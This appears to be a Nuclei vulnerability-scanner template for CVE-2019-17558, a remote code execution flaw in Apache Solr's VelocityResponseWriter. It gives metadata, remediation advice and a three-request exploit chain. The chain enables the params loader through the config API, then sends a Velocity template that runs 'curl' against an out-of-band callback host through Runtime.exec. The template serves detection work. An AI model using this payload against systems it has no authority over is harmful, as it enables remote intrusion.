nuclei-templates/http/cves/2019/CVE-2019-17558.yaml

75 lines
3.5 KiB
YAML
Raw Normal View History

2021-01-02 04:59:06 +00:00
id: CVE-2019-17558
2020-09-03 16:13:34 +00:00
info:
name: Apache Solr <=8.3.1 - Remote Code Execution
2021-06-09 12:20:56 +00:00
author: pikpikcu,madrobot
severity: high
description: Apache Solr versions 5.0.0 to 8.3.1 are vulnerable to remote code execution vulnerabilities through the VelocityResponseWriter. A Velocity template can be provided through Velocity templates in a configset `velocity/ directory or as a parameter. A user defined configset could contain renderable, potentially malicious, templates. Parameter provided templates are disabled by default, but can be enabled by setting `params.resource.loader.enabled by defining a response writer with that setting set to `true`. Defining a response writer requires configuration API access. Solr 8.4 removed the params resource loader entirely, and only enables the configset-provided template rendering when the configset is `trusted` (has been uploaded by an authenticated user).
2023-09-06 12:53:28 +00:00
remediation: |
Upgrade to a patched version of Apache Solr (8.4.0 or later) to mitigate this vulnerability.
reference:
- https://issues.apache.org/jira/browse/SOLR-13971
- https://nvd.nist.gov/vuln/detail/CVE-2019-17558
- https://lists.apache.org/thread.html/rb964fe5c4e3fc05f75e8f74bf6b885f456b7a7750c36e9a8045c627a@%3Cissues.lucene.apache.org%3E
- http://packetstormsecurity.com/files/157078/Apache-Solr-8.3.0-Velocity-Template-Remote-Code-Execution.html
2023-07-11 19:49:27 +00:00
- https://lists.apache.org/thread.html/r0b7b9d4113e6ec1ae1d3d0898c645f758511107ea44f0f3a1210c5d5@%3Cissues.lucene.apache.org%3E
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.5
cve-id: CVE-2019-17558
cwe-id: CWE-74
epss-score: 0.9753
epss-percentile: 0.99988
2023-09-06 12:53:28 +00:00
cpe: cpe:2.3:a:apache:solr:*:*:*:*:*:*:*:*
metadata:
max-request: 3
2023-07-11 19:49:27 +00:00
vendor: apache
product: solr
tags: kev,packetstorm,cve,cve2019,apache,rce,solr,oast
2020-09-03 16:13:34 +00:00
http:
2021-04-08 09:44:25 +00:00
- raw:
2020-09-03 17:14:42 +00:00
- |
2021-04-08 09:44:25 +00:00
GET /solr/admin/cores?wt=json HTTP/1.1
Host: {{Hostname}}
- |
2021-08-09 16:28:28 +00:00
POST /solr/{{core}}/config HTTP/1.1
2020-09-03 17:14:42 +00:00
Host: {{Hostname}}
Content-Type: application/json
2020-09-03 16:13:34 +00:00
2020-09-03 17:14:42 +00:00
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
2020-09-03 16:13:34 +00:00
}
2020-09-03 17:14:42 +00:00
- |
2022-08-24 08:56:43 +00:00
GET /solr/{{core}}/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27curl%20{{interactsh-url}}%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
2020-09-03 17:14:42 +00:00
Host: {{Hostname}}
Connection: close
2021-04-08 09:44:25 +00:00
2021-08-09 16:28:28 +00:00
matchers-condition: and
2021-04-08 09:44:25 +00:00
matchers:
- type: word
2023-07-11 19:49:27 +00:00
part: interactsh_protocol # Confirms the HTTP Interaction
2021-04-08 09:44:25 +00:00
words:
2021-08-09 16:28:28 +00:00
- "http"
- type: status
status:
- 200
extractors:
- type: regex
name: core
group: 1
regex:
- '"name"\:"(.*?)"'
2023-07-11 19:49:27 +00:00
internal: true
# digest: 4b0a00483046022100a7c9623ff7c829ad4487652376e34705102942ac4c5c2427c987cbe129bf09de022100f8c5610426c06ac45b371817e766fc7530e4b272586119133c55eef41cc934f2:922c64590222798bb761d5b6d8e72950